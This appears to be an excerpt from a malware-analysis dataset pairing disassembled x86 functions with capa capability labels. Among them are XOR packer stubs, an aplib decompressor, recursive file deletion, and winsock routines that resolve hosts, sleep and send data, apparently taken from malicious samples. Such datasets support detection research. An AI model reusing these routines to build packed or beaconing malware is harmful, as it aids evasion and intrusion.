joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a793c
Capabilities:
Connect to http server
Read .ini file

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffeec
mov dword [esp], edx
mov ebx, dword [esp + 8]
push ebx
mov ebx, dword [esp + 8]
push ebx
push ecx
push esi
push ebp
push edi
push edx
push eax
call sub.wininet.dll_InternetConnectW
mov eax, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push eax
call sub.kernel32.dll_FindFirstChangeNotificationW
mov eax, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x28]
push eax
call sub.kernel32.dll_FoldStringW
mov eax, dword [esp + 0x34]
push eax
mov eax, dword [esp + 0x34]
push eax
mov eax, dword [esp + 0x34]
push eax
call sub.advapi32.dll_SetKernelObjectSecurity
mov eax, dword [esp + 0x44]
push eax
mov eax, dword [esp + 0x4c]
push eax
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x44]
mov eax, dword [esp + 0x40]
call fcn.0047d928
mov eax, dword [esp + 0x50]
push eax
mov eax, dword [esp + 0x50]
push eax
call sub.user32.dll_CharUpperBuffA
mov eax, dword [esp + 0x5c]
push eax
mov eax, dword [esp + 0x5c]
push eax
mov ax, word [esp + 0x5c]
push eax
call sub.kernel32.dll_GlobalGetAtomNameW
mov eax, dword [esp + 0x64]
push eax
mov eax, dword [esp + 0x64]
push eax
call sub.kernel32.dll_EndUpdateResourceA
mov eax, dword [esp + 0x70]
push eax
mov eax, dword [esp + 0x70]
push eax
mov eax, dword [esp + 0x70]
push eax
call sub.user32.dll_RealGetWindowClassA
mov eax, dword [esp + 0x88]
push eax
mov eax, dword [esp + 0x88]
push eax
mov eax, dword [esp + 0x88]
push eax
mov eax, dword [esp + 0x88]
push eax
mov eax, dword [esp + 0x88]
push eax
mov eax, dword [esp + 0x88]
push eax
call sub.kernel32.dll_GetDateFormatA
mov eax, dword [esp + 0x90]
push eax
mov eax, dword [esp + 0x90]
push eax
call sub.gdi32.dll_SetBkColor
mov edx, dword [esp + 0x98]
mov eax, dword [esp + 0x94]
call fcn.0042b17c
mov eax, dword [esp + 0xa4]
push eax
mov eax, dword [esp + 0xa4]
push eax
mov eax, dword [esp + 0xa4]
push eax
call sub.kernel32.dll_GetPrivateProfileSectionNamesW
lea edx, [esp + 0xec]
mov eax, dword [esp + 0xa8]
call fcn.0042b0b0
mov eax, dword [esp + 0xac]
push eax
call sub.user32.dll_RegisterClipboardFormatW
mov eax, dword [esp + 0xbc]
push eax
mov eax, dword [esp + 0xc4]
push eax
mov eax, dword [esp + 0xcc]
push eax
mov ecx, dword [esp + 0xc4]
mov edx, dword [esp + 0xc0]
mov eax, dword [esp + 0xbc]
call fcn.0047d8c0
mov eax, dword [esp + 0xc8]
push eax
call sub.comctl32.dll_ImageList_Destroy
lea eax, [esp + 0xe0]
push eax
push dword [esp + 0xe0]
mov eax, dword [esp + 0xe0]
push eax
lea eax, [esp + 0xdc]
push eax
mov eax, dword [esp + 0xdc]
push eax
call sub.kernel32.dll_ScrollConsoleScreenBufferA
mov eax, dword [esp + 0xe8]
push eax
mov eax, dword [esp + 0xe8]
push eax
call sub.wininet.dll_FtpDeleteFileA
add esp, 0x114
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x5ce8273b
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x10ec60a0
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x4aaf058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.04aaf1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x4aaf07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4aaf06a
add dl, dl
jne 0x4aaf089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4aaf0dc
xor eax, eax
add dl, dl
jne 0x4aaf096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4aaf17d
add dl, dl
jne 0x4aaf0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4aaf0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4aaf0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4aaf0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x4aaf0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x4aaf075
mov eax, 1
add dl, dl
jne 0x4aaf0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4aaf0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4aaf0e1
sub eax, ebx
mov ebx, 1
jne 0x4aaf128
mov ecx, 1
add dl, dl
jne 0x4aaf10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x4aaf119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4aaf105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4aaf075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x4aaf13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x4aaf14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4aaf136
cmp eax, 0x7d00
jae 0x4aaf16d
cmp eax, 0x500
jb 0x4aaf168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4aaf075
cmp eax, 0x7f
ja 0x4aaf170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4aaf075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x4aaf19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x4aaf075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x3eb77d06
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0xd350876
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x411812
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419364]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040b9d2
and dword [ebp - 0x14], 0
cmp dword [0x42fce8], 0
mov dword [ebp - 0x18], eax
jne 0x4118c5
push 0x403e58
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41196d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403e4c
push ebx
call edi
test eax, eax
je 0x41196d
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403e3c
push ebx
mov dword [0x42fce8], eax
call edi
push eax
call esi
push 0x403e28
push ebx
mov dword [0x42fcec], eax
call edi
push eax
call esi
push 0x403e0c
push ebx
mov dword [0x42fcf0], eax
call edi
push eax
call esi
mov dword [0x42fcf8], eax
test eax, eax
je 0x4118c5
push 0x403df4
push ebx
call edi
push eax
call esi
mov dword [0x42fcf4], eax
mov eax, dword [0x42fcf4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41191e
cmp dword [0x42fcf8], ecx
je 0x41191e
push eax
call esi
push dword [0x42fcf8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41191e
test ebx, ebx
je 0x41191e
call edi
test eax, eax
je 0x411915
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x411915
test byte [ebp - 8], 1
jne 0x41191e
or dword [ebp + 0x10], 0x200000
jmp 0x411951
mov eax, dword [0x42fcec]
cmp eax, dword [ebp - 0x18]
je 0x411951
push eax
call esi
test eax, eax
je 0x411951
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x411951
mov eax, dword [0x42fcf0]
cmp eax, dword [ebp - 0x18]
je 0x411951
push eax
call esi
test eax, eax
je 0x411951
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42fce8]
call esi
test eax, eax
je 0x41196d
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41196f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004092fb
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
mov ecx, 0x6aa13198
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
mov eax, section..data_1
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x18545eaa
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x40595a
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.00405c25
test bl, 8
mov dword [ebp - 8], eax
je 0x405999
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
add dword [0x42a2a8], eax
jmp 0x405b16
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x4059b3
test eax, eax
je 0x405ac4
test bl, 2
je 0x405ac4
mov esi, 0x4256f0
push edi
push esi
call fcn.0040624c
cmp dword [ebp + 8], 0
je 0x4059d2
push 0x40a54c
push esi
call sub.KERNEL32.dll_lstrcatW
jmp 0x4059d8
push edi
call fcn.00405b69
cmp word [edi], 0
jne 0x4059e8
cmp word [0x4256f0], 0x5c
jne 0x4059f3
push 0x40a014
push edi
call sub.KERNEL32.dll_lstrcatW
push edi
call sub.KERNEL32.dll_lstrlenW
lea ebx, [edi + eax*2]
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405ab9
cmp word [ebp - 0x22c], 0x2e
jne 0x405a3d
cmp word [ebp - 0x22a], 0
je 0x405a9c
cmp word [ebp - 0x22a], 0x2e
jne 0x405a3d
cmp word [ebp - 0x228], 0
je 0x405a9c
lea eax, [ebp - 0x22c]
push eax
push ebx
call fcn.0040624c
test byte [ebp - 0x258], 0x10
je 0x405a68
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405a9c
push dword [ebp + 0xc]
push edi
call fcn.0040595a
jmp 0x405a9c
push dword [ebp - 4]
push edi
call fcn.00405912
test eax, eax
jne 0x405a94
cmp dword [ebp - 4], eax
je 0x405a8c
push edi
push 0xfffffffffffffff1
call fcn.004052b0
push 0
push edi
call fcn.00406012
jmp 0x405a9c
inc dword [0x42a2a8]
jmp 0x405a9c
push edi
push 0xfffffffffffffff2
call fcn.004052b0
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405a15
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405ac4
and word [ebx - 2], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x405b16
cmp dword [ebp - 8], esi
jne 0x405ad8
inc dword [0x42a2a8]
jmp 0x405b16
push edi
call fcn.0040658f
test eax, eax
je 0x405b16
push edi
call fcn.00405b1d
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.00405912
test eax, eax
jne 0x405b0e
cmp dword [ebp - 4], esi
je 0x405ad0
push edi
push 0xfffffffffffffff1
call fcn.004052b0
push esi
push edi
call fcn.00406012
jmp 0x405b16
push edi
push 0xffffffffffffffe5
call fcn.004052b0
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x10001000
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 0x10]
xor eax, eax
cmp dword [ebp + 0xc], eax
mov byte [ecx], al
jle 0x10001134
push ebx
push esi
push edi
push 2
pop edx
mov esi, dword [ebp + 8]
mov bl, byte [esi + edx - 2]
lea esi, [edx - 1]
cmp esi, dword [ebp + 0xc]
mov byte [ebp - 2], bl
jl 0x10001032
and byte [ebp + 0x13], 0
jmp 0x1000103c
mov edi, dword [ebp + 8]
mov bl, byte [edx + edi - 1]
mov byte [ebp + 0x13], bl
cmp edx, dword [ebp + 0xc]
jl 0x10001047
and byte [ebp - 1], 0
jmp 0x10001050
mov edi, dword [ebp + 8]
mov bl, byte [edx + edi]
mov byte [ebp - 1], bl
cmp edx, dword [ebp + 0xc]
jge 0x100010a7
movzx esi, byte [ebp - 2]
mov edi, esi
and esi, 3
shr edi, 2
shl esi, 4
mov bl, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
movzx edi, byte [ebp + 0x13]
mov byte [eax + ecx], bl
mov ebx, edi
shr ebx, 4
inc eax
and edi, 0xf
mov bl, byte [ebx + esi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
movzx esi, byte [ebp - 1]
mov byte [eax + ecx], bl
mov ebx, esi
shr ebx, 6
inc eax
mov bl, byte [ebx + edi*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + ecx], bl
inc eax
and esi, 0x3f
mov bl, byte [esi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + ecx], bl
jmp 0x1000111d
cmp esi, dword [ebp + 0xc]
movzx esi, byte [ebp - 2]
mov edi, esi
jge 0x100010ef
shr edi, 2
and esi, 3
mov bl, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
movzx edi, byte [ebp + 0x13]
mov byte [eax + ecx], bl
mov ebx, edi
shr ebx, 4
shl esi, 4
inc eax
mov bl, byte [ebx + esi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
movzx esi, byte [ebp - 1]
mov byte [eax + ecx], bl
inc eax
shr esi, 6
and edi, 0xf
mov bl, byte [esi + edi*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + ecx], bl
jmp 0x10001118
shr edi, 2
and esi, 3
mov bl, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
movzx edi, byte [ebp + 0x13]
shr edi, 4
shl esi, 4
mov byte [eax + ecx], bl
inc eax
mov bl, byte [edi + esi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + ecx], bl
inc eax
mov byte [eax + ecx], 0x3d
inc eax
mov byte [eax + ecx], 0x3d
add edx, 3
inc eax
lea esi, [edx - 2]
cmp esi, dword [ebp + 0xc]
jl 0x1000101a
and byte [eax + ecx], 0
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001136
Capabilities:
Create thread
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x59c
and byte [ebp - 0x59c], 0
push ebx
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x59b]
push 0x100000
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 8
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x1000117d
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 0x19c]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
push 1
jne 0x10001177
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
or dword [ebp - 8], 0xffffffff
and dword [ebp - 4], 0
mov dword [ebp - 0xc], 0xd48
rdtsc
and eax, 0xffff
add eax, 0xea7
mov dword [ebp - 0xc], eax
push 0x100000
push 0
push esi
call sub.MSVCRT.dll_memset
push dword [ebp + 0xc]
lea eax, [ebp - 0x59c]
mov dword [esi + 0x18], eax
push dword [ebp + 8]
push esi
call fcn.10001337
add esp, 0x18
cmp dword [ebp - 4], 1
je 0x100011e7
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
push 8
cdq
pop ecx
idiv ecx
push 2
lea ecx, [esi + 0x400]
pop ebx
mov eax, edx
mov dword [ebp - 8], edx
cdq
sub eax, edx
mov edi, eax
mov eax, dword [ebp - 8]
cdq
idiv ebx
sar edi, 1
shl edi, 7
add edi, ecx
test edx, edx
jne 0x10001219
mov ebx, dword [edi + 4]
jmp 0x1000121c
mov ebx, dword [edi + 8]
test ebx, ebx
je 0x100011aa
push 1
pop eax
cmp dword [ebp - 4], eax
je 0x10001250
mov ecx, dword [ecx + 0x45c]
imul ecx, ecx, 0x3e8
add dword [ebp - 0xc], ecx
cmp dword [0x100052b0], 0
je 0x1000124b
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10001250
mov dword [0x100052b0], eax
push ebx
call dword [sym.imp.WS2_32.dll_ntohs]
add edi, 0x10
push edi
mov dword [ebp - 4], edi
movzx ebx, ax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10001282
push 0x21d4
mov dword [ebp - 4], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100011aa
mov eax, dword [eax + 0xc]
push dword [ebp - 4]
mov eax, dword [eax]
mov edi, dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [esi + 0x20c]
push dword [ebp - 4]
push eax
call sub.MSVCRT.dll_memcpy
push esi
mov dword [esi + 0x200], edi
mov dword [esi + 0x204], ebx
call fcn.10001369
add esp, 0x10
cmp dword [esi + 0x288], 0xfacdeadc
jne 0x100012d0
mov edi, dword [esi + 0x280]
mov ebx, dword [esi + 0x284]
push esi
push ebx
push edi
call fcn.100019a8
add esp, 0xc
test eax, eax
je 0x1000132a
xor eax, eax
push eax
push eax
push esi
push 0x1000139c
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x14]
push 1
pop ecx
cmp eax, ecx
jne 0x10001315
mov dword [ebp - 4], ecx
jmp 0x100011aa
cmp eax, 2
je 0x10001178
mov dword [ebp - 4], 6
jmp 0x100011aa
nop
mov dword [ebp - 4], 0x66
jmp 0x100011aa
Function at 0x100016e5
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10030
call fcn.100029f0
and byte [ebp - 0x10030], 0
push ebx
push esi
mov esi, 0x1fff
push edi
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x1002f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0xc]
mov ebx, dword [ebp + 0x14]
and dword [ebp - 0x30], 0
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebx + 4]
push 7
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 8], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0x18]
push 0x20
add eax, 0x1e0
mov dword [ebp - 0x10], 0x30016
push eax
lea eax, [ebp - 0x30]
push eax
mov dword [ebp - 0xc], 0x11112222
call sub.MSVCRT.dll_memcpy
and byte [ebp - 0x8030], 0
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x802f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x10]
push 0x10
push eax
lea eax, [ebp - 0x8030]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x30]
push 0x20
push eax
lea eax, [ebp - 0x8020]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 0xc]
push 4
push eax
lea eax, [ebp - 0x8000]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x30
xor esi, esi
cmp ebx, esi
push 0x34
pop eax
je 0x100017e8
cmp dword [ebp + 0x10], esi
je 0x100017e8
push ebx
lea eax, [ebp - 0x7ffc]
push dword [ebp + 0x10]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
cmp dword [ebp + 0x20], esi
jne 0x100017e5
lea eax, [ebp - 0x7ffc]
push ebx
push eax
lea eax, [ebp - 0x8030]
push 0x20
push eax
call fcn.10002678
add esp, 0x10
lea eax, [ebx + 0x34]
mov ecx, dword [ebp + 0x18]
mov dword [ebp + 0x14], esi
push ecx
cmp dword [ecx + 0x288], 0xfacdeadc
lea ecx, [ebp + 0x14]
push ecx
lea ecx, [ebp - 0x10030]
push ecx
push eax
lea eax, [ebp - 0x8030]
push eax
jne 0x10001815
call fcn.10001c29
jmp 0x1000181a
call fcn.1000163c
add esp, 0x14
lea eax, [ebp - 0x10030]
push esi
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
xor ecx, ecx
pop edi
test eax, eax
setg cl
pop esi
mov eax, ecx
pop ebx
leave
ret